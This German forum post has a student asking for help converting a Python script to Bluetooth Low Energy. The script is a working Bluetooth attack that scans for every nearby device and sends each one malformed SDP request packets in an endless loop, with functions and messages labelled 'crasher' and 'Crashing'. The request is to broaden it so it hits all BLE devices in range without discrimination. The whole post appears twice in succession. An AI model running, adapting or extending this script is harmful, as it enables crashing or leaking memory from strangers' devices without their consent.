Bluetooth Low Energy Befehle
Verfasst: Dienstag 26. April 2022, 14:20
Hallo,
ich bin erst seit heute in diesem Forum angemeldet.
Ich hab schon seit längerem eine Idee, die ich gerne Umsetzen würde,
aber nicht weiß wie ich das machen soll.
Also :
Ich habe ein Script im Internet gefunden, dass eigentlich sehr gut passt. Jedoch sucht der Scanner nicht nach Bluetooth Low Energy (BLE) Geräten, sondern nur nach herkömmlichen BR/EDR Geräten. Mein Ziel ist es ein Script zu haben das automatisch nach Bluetooth Low Energy Geräten sucht und allen Geräten ein Packet zu sendet. Das Script sollte eine Endlos Schleife besitzen.
Ich habe meinen Informatik Lehrer schon gefragt (13. Klasse Leistungskurs) ob er mir helfen könnte, doch er meint ich könnte das selbst rausfinden. Ich weiß echt nicht an wenn ich mich wenden könnte, außer hier her.
Ich hoffe ihr könntet mir helfen, Ansätze zu finden.
Hier das Script:
from pwn import *
import bluetooth
service_long = 0x0100
service_short = 0x0001
n = 10000
p = log.progress('BT Sending')
p.status('Searching...')
def packet(service, continuation_state):
pkt = '\x02\x00\x00'
pkt += str(p16(7 + len(continuation_state)))
pkt += '\x35\x03\x19'
pkt += str(p16(service))
pkt += '\x01\x00'
pkt += continuation_state
return pkt
def crasher(targetAddress, targetName, timeout):
sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
sock.settimeout(timeout)
bluetooth.set_l2cap_mtu(sock, 50)
context.endian = 'big'
p.status('Connecting to %s (%s)', targetName, targetAddress)
try:
sock.connect((targetAddress, 1))
except:
p.status('%s (%s) connection timed out, could be recovering', targetName, targetAddress)
return
p.status('Sending packet 0')
sock.send(packet(service_long, '\x00'))
data = sock.recv(50)
stack = ''
try:
for i in range(1, n):
p.status('Sending packet %d' % i)
sock.send(packet(service_short, data[-3:]))
data = sock.recv(50)
stack += data[9:-3]
except KeyboardInterrupt:
p.status('%s (%s) crash interrupted', targetName, targetAddress)
except:
p.status('%s (%s) crash attempt finished', targetName, targetAddress)
finally:
sock.close()
return
def start(scanTime, timeout):
p.status('Searching...')
btDevices = bluetooth.discover_devices(duration = scanTime, lookup_names = True, flush_cache = True)
for name, addr in btDevices: #`name` is actually the BT address, and `addr` is actually the device name!
p.status('Crashing %s (%s)', name, addr)
crasher(name, addr, timeout)
return
while 1:
start(3, 5)
p.success('Done')
Ich hoffe auf baldige antwort.
MfG
Stefan
ich bin erst seit heute in diesem Forum angemeldet.
Ich hab schon seit längerem eine Idee, die ich gerne Umsetzen würde,
aber nicht weiß wie ich das machen soll.
Also :
Ich habe ein Script im Internet gefunden, dass eigentlich sehr gut passt. Jedoch sucht der Scanner nicht nach Bluetooth Low Energy (BLE) Geräten, sondern nur nach herkömmlichen BR/EDR Geräten. Mein Ziel ist es ein Script zu haben das automatisch nach Bluetooth Low Energy Geräten sucht und allen Geräten ein Packet zu sendet. Das Script sollte eine Endlos Schleife besitzen.
Ich habe meinen Informatik Lehrer schon gefragt (13. Klasse Leistungskurs) ob er mir helfen könnte, doch er meint ich könnte das selbst rausfinden. Ich weiß echt nicht an wenn ich mich wenden könnte, außer hier her.
Ich hoffe ihr könntet mir helfen, Ansätze zu finden.
Hier das Script:
from pwn import *
import bluetooth
service_long = 0x0100
service_short = 0x0001
n = 10000
p = log.progress('BT Sending')
p.status('Searching...')
def packet(service, continuation_state):
pkt = '\x02\x00\x00'
pkt += str(p16(7 + len(continuation_state)))
pkt += '\x35\x03\x19'
pkt += str(p16(service))
pkt += '\x01\x00'
pkt += continuation_state
return pkt
def crasher(targetAddress, targetName, timeout):
sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
sock.settimeout(timeout)
bluetooth.set_l2cap_mtu(sock, 50)
context.endian = 'big'
p.status('Connecting to %s (%s)', targetName, targetAddress)
try:
sock.connect((targetAddress, 1))
except:
p.status('%s (%s) connection timed out, could be recovering', targetName, targetAddress)
return
p.status('Sending packet 0')
sock.send(packet(service_long, '\x00'))
data = sock.recv(50)
stack = ''
try:
for i in range(1, n):
p.status('Sending packet %d' % i)
sock.send(packet(service_short, data[-3:]))
data = sock.recv(50)
stack += data[9:-3]
except KeyboardInterrupt:
p.status('%s (%s) crash interrupted', targetName, targetAddress)
except:
p.status('%s (%s) crash attempt finished', targetName, targetAddress)
finally:
sock.close()
return
def start(scanTime, timeout):
p.status('Searching...')
btDevices = bluetooth.discover_devices(duration = scanTime, lookup_names = True, flush_cache = True)
for name, addr in btDevices: #`name` is actually the BT address, and `addr` is actually the device name!
p.status('Crashing %s (%s)', name, addr)
crasher(name, addr, timeout)
return
while 1:
start(3, 5)
p.success('Done')
Ich hoffe auf baldige antwort.
MfG
Stefan